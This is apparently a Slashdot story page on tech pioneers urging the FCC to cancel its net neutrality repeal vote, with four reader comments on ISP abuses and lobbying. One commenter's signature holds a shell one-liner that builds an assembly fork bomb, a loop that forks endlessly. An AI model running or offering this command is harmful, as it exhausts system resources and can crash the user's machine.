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Net Neutrality: 'Father Of Internet' Joins Tech Leaders in Condemning Repeal Plan (theguardian.com)

More than 20 internet pioneers and leaders including the "father of the internet", Vint Cerf; the inventor of the world wide web, Tim Berners-Lee; and the Apple co-founder Steve Wozniak have urged the FCC to cancel its vote to repeal net neutrality, describing the plan as "based on a flawed and factually inaccurate" understanding of how the internet works. From a report: "The FCC's rushed and technically incorrect proposed order to repeal net neutrality protections without any replacement is an imminent threat to the internet we worked so hard to create. It should be stopped," said the technology luminaries in an open letter to lawmakers (PDF) with oversight of the Federal Communications Commission on Monday. The letter refers to the FCC's proposed Restoring Internet Freedom Order, which removes net neutrality protections introduced in 2015 to ensure that internet service providers (ISPs) such as Comcast, AT&T and Verizon would treat all web content and applications equally and not throttle, block or prioritise some content in return for payment. The FCC's vote on the proposed order is scheduled for 14 December and it is expected to be approved. "It is important to understand that the FCC's proposed order is based on a flawed and factually inaccurate understanding of Internet technology," the internet pioneers state, adding that the flaws were outlined in detail in a 43-page comment submitted by 200 tech leaders to the FCC in July.

4 of 170 comments (clear)

  1. Learn to read by Comboman · · Score: 5, Informative

    Both the article and summary state Vint Cerf is the father of the Internet and Berners-Lee is the inventor of the World Wide Web.

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    Support Right To Repair Legislation.
  2. Re:Repealing Net Neutrality by Tablizer · · Score: 4, Informative

    What is the problem they are trying to fix by repealing Net Neutrality? I don't get it...

    GOP more or less says, "It gives companies freedom to innovate and create jobs. More freedom = more jobs & more innovation."

    Of course there are practical limits to the benefits of high-freedom, and as most of us know, oligopolies usually end up abusing freedom to lock out competition and lock in customers; ruining what capitalism is supposed to provide in theory: competition and choice.

    The bottom line is that telecom oligopolies spend a lot of campaign donations to get their way: and bribery works.

  3. Re:Legal Phrasing by Hal_Porter · · Score: 2, Informative

    You're sure you're not a shill yourself?

    No one pays me to post my opinions on Net Neutrality. Vint Cerf's employer, Google, does pay him to post his.

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  4. Re:Legal Phrasing by Anonymous Coward · · Score: 3, Informative

    The Internet did work pretty well before it was mistakenly reclassified as an "information service". Still, this wasn't a problem until sufficient computational power became available within routers for deep packet inspection. This sort of practice should never have been allowed in the first place, and in a market absent competition, abuse was inevitable. Once the technology was available, large ISPs began their assault on net neutrality, and they didn't stop until forced to.

    Here is a record of known abuses, which will only be the beginning should Pai have his way. That list is almost certainly incomplete, and abuses will grow to be much worse now that ISPs have unprecedented power to extort both customers and third parties alike.